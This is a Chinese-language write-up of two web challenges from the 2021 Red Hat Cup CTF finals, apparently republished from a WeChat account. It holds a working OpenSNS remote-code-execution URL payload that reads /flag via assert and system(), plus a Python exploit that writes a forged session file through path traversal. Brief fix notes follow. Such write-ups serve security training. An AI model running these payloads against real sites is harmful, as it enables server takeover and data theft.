2021红帽杯决赛部分wp

  • A+
所属分类:CTF专场

Web

opensns

看日志,日志里有一条可疑的payload

2021红帽杯决赛部分wp
image-20210724171138127
[ 2021-05-19T20:05:12+08:00 ] 127.0.0.1 /?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=a=phpinfo()%26id[0]=a
INFO: [ app_init ] --START--

打一下,发现出现phpinfo()界面

改一下payload

/?s=weibo/share/shareBox&query=app=Common%26model=Schedule%26method=runSchedule%26id[method]=-%3E_validationFieldItem%26id[status]=1%26id[4]=function%26id[1]=assert%26id[args]=a=system('cat /flag')%26id[0]=a
2021红帽杯决赛部分wp
image-20210724171311259

修复

随便加加正则过滤就行

upload

从这里我们可以控制初始化任意类

2021红帽杯决赛部分wp
image-20210724171443114

写文件的位置没有过滤,可以目录穿透,从phpinfo可以看到session文件的存放位置为/tmp

也就是说可以控制session文件

利用内置类SplFileObject可以读文件,上传session文件即可控制$_SESSION

exp如下

import requests
url = "http://172.16.9.2:9004/"
cookie = {"PHPSESSID":"rayi"}
data = {"filename":"../../../../../../../../../../../tmp/sess_rayi","content":'''i|i:0;f|i:0;e|s:0:"";form|i:0;CmsCode|s:7:"refresh";time|i:1626097284;func|N;files|a:2:{s:8:"filename";s:16:"./files/filename";s:20:"call_user_func_array";s:28:"./files/call_user_func_array";}paths|a:1:{s:5:"/flag";s:13:"SplFileObject";}'''}
web1 = requests.post(url,data=data,cookies=cookie)
web2 = requests.get(url,cookies=cookie)
print(web2.text)

修复

当时修的时候只发现了这里有个动态变量

2021红帽杯决赛部分wp
image-20210724171914216

于是就写死了,就check过了


本文始发于微信公众号(山警网络空间安全与电子数据取证):2021红帽杯决赛部分wp

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: